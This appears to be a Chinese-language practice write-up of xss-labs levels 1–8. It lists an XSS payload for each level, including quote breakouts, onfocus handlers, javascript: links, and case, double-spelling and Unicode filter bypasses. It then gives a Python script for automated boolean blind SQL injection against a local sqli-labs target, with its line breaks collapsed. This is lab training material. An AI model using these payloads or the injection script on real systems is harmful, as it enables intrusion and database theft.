xss-labs的小练
第一关
1.查看源码发现name=test的test在html里面
2.所以直接在name那里添加<script>alert(123)</script>,通关
第二关
1.查看源码test和第一关一样的位置
2.直接尝试第一关方法
3.第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可
"> <script>alert()</script> <"
第三关
1.随便输个test观察
2.先用上一关的测试一下
'> <script>alert()</script> <'
3.查看源码
4.使用onfocus事件绕过
' οnfοcus=javascript:alert() '
5.再点击输入框
第四关
1.先观察
2.这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,只不过换成双引号
" οnfοcus=javascript:alert() "
第五关
1.先尝试之前的能过不
2.这里on被替换成了o_n,先看一下这关的源码
3.过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入
可以使用a href标签法,添加一个标签得闭合前面的标签
"> <a href=javascript:alert()>xxx</a> <"
4.之后点击xxx,触发a标签href属性即可
第六关
1.观察
2.先输入关键字测试看看
3.再试试大小写可以不
OnFocus <sCriPt> <a hReF=javascript:alert()>
4.发现大小写可以通过,则直接利用大小写
"> <sCript>alert()</sCript> <"
第七关
1.直接开测
"> <sCript>alert()</sCript> <"
可以看到sCript都被删了
2.可以用双拼写来完成
"> <scrscriptipt>alert()</scrscriptipt> <"
第八关
1.先输入123观察
2.输入的值插入了两个地方,第一个是input标签,第二个是href属性,老方法,先看看过滤了啥关键字
可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号)
3.看一下这关的源码
4.我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
利用在线工具进行Unicode编码后得到
将javascript:alert()转化为
javascript:alert()
接着我们直接输入编码
再点友情链接
就完成了
接下来是利用python脚本实现自动化布尔盲注的代码,二分法
import requests
import time# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
SUCCESS_INDICATOR = "You are in..........."# 推断数据库名的长度 (使用二分法优化)
def get_database_length(max_length=50):low, high = 1, max_lengthwhile low <= high:mid = (low + high) // 2payload = f"1' AND length(database()) <= {mid} -- "response = send_request(payload)if response is None: # 请求失败时安全处理return 0if SUCCESS_INDICATOR in response.text:# 检查是否正好是这个长度payload_exact = f"1' AND length(database()) = {mid} -- "if SUCCESS_INDICATOR in send_request(payload_exact).text:return midhigh = mid - 1else:low = mid + 1return 0 # 没找到有效长度# 使用稳健的二分法逐字符推断数据库名
def get_database_name(length):if length <= 0:return ""db_name = []for char_position in range(1, length + 1):low, high = 32, 126 # ASCII可打印字符范围while low <= high:mid = (low + high) // 2payload = f"1' AND ascii(substr(database(), {char_position}, 1)) <= {mid} -- "response = send_request(payload)if not response:return "" # 请求失败时安全退出if SUCCESS_INDICATOR in response.text:# 检查是否正好是这个字符payload_equal = f"1' AND ascii(substr(database(), {char_position}, 1)) = {mid} -- "if SUCCESS_INDICATOR in send_request(payload_equal).text:db_name.append(chr(mid))breakhigh = mid - 1else:low = mid + 1# 如果没有找到有效字符,提前结束if low > high:return ""return ''.join(db_name)# 添加请求重试机制的封装函数
def send_request(payload, max_retries=3, timeout=5):for attempt in range(max_retries):try:response = requests.get(url,params={"id": payload},timeout=timeout)return responseexcept (requests.ConnectionError, requests.Timeout):print(f"请求失败,重试中 ({attempt + 1}/{max_retries})")time.sleep(1)print("错误: 无法连接到目标服务器")return None# 主函数
if __name__ == "__main__":db_length = get_database_length()if db_length > 0:print(f"数据库长度: {db_length}")db_name = get_database_name(db_length)print(f"数据库名称: {db_name}")else:print("无法确定数据库长度")
下面是运行结果